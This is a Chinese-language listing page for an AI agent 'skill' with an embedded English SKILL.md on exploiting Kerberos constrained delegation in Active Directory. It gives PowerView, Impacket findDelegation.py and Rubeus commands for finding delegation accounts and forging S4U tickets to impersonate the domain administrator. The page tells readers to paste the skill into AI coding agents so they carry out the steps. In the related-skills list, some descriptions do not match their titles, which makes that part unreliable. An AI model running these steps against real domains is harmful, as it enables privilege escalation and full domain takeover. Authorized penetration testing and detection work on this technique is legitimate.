exploiting-constrained-delegation-abuse
它能做什么
这个工具利用 Active Directory 中一项名为“约束委派”(Constrained Delegation)的安全配置错误。它允许攻击者冒充高权限用户(比如管理员)访问系统,从而获得整个域的完全控制权。
适用场景
- ✓在获得授权的安全测试中,检查委派相关的漏洞。
- ✓在攻击模拟(红队演练)中测试防御能力。
- ✓了解攻击者如何在企业网络中获得特权访问。
技能链接
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-constrained-delegation-abuse/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“如何检查我的网络中约束委派是否配置错误?”
每周 5 个新技能,1 分钟读完。
工作原理
这个工具会查找具有特定委派权限的账户。如果找到,它会使用相关技术生成可以冒充高权限用户的访问“凭证”,从而访问受限的服务。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Exploiting Constrained Delegation Abuse
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.
When to Use
- When performing authorized security testing that involves exploiting constrained delegation abuse
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Enumerate accounts with Constrained Delegation configured in the domain
- Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
- Exploit S4U2self and S4U2proxy to impersonate Domain Admin
- Obtain service tickets for delegated services as a privileged user
- Access delegated services (CIFS, LDAP, HTTP) on target hosts
- Escalate to Domain Admin through Constrained Delegation abuse
MITRE ATT&CK Mapping
- T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket
- T1134.001 - Access Token Manipulation: Token Impersonation/Theft
- T1078.002 - Valid Accounts: Domain Accounts
- T1021 - Remote Services
Workflow
Phase 1: Enumerate Constrained Delegation
- Find accounts with Constrained Delegation using PowerView:
# Find users with Constrained Delegation Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto # Find computers with Constrained Delegation Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto # Using AD Module Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl - Using Impacket findDelegation.py:
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 - Using BloodHound CE:
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate - Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):
# UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
Phase 2: Exploit with Rubeus (Windows)
- If you have the password or hash of the constrained delegation account:
# Request TGT for the constrained delegation account Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash> # Perform S4U2self + S4U2proxy to impersonate administrator Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /ptt # Alternative: specify alternate service name Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt - Combined TGT request and S4U in single command:
Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
Phase 3: Exploit with Impacket (Linux)
- Request service ticket via S4U protocol extensions:
…
常见问题
什么是约束委派?
这是 Windows Server 的一项功能,允许某个服务代表用户去访问其他服务。如果配置错误,攻击者就可能加以利用。
使用这个工具需要管理员的密码吗?
不一定。该利用方式依赖于委派配置错误,因此你无需管理员的密码也可以冒充管理员。
这样做合法吗?
这个工具只能在经过授权的测试环境中、并获得明确许可的情况下使用。在未经授权的系统上使用是违法的。
详情
作者的原始描述
Exploits Kerberos Constrained Delegation misconfigurations in Active Directory using Impacket's findDelegation.py and getST.py (or Rubeus/Kekeo on Windows) to abuse S4U2Self and S4U2Proxy and impersonate privileged users. Use during authorized Active Directory penetration tests or red-team engagements for lateral movement and privilege escalation after finding an account trusted for constrained de
热度
- GitHub 星标
- 35k
- 排名
- #7904
- 许可证
- Apache-2.0
- 更新时间
- 2026/8/31
评论
- …
同一仓库的更多技能
abusing-dpapi-for-credential-access
35k为你的 AI 智能体提供针对特定任务的现成指令,让它完成得更好、更快。
abusing-shadow-credentials-for-privesc
35k教你的 AI 智能体写出清晰、结构良好的文本。
achieving-cmmc-level-2-compliance
35k帮助你的智能体搭建符合 CMMC Level 2 合规要求的环境。它会落实安全要求,并管理必要的文档。
acquiring-disk-image-with-dd-and-dcfldd
35k帮助你的智能体创建硬盘的精确副本。这能确保调查过程中信息不丢失、不被篡改。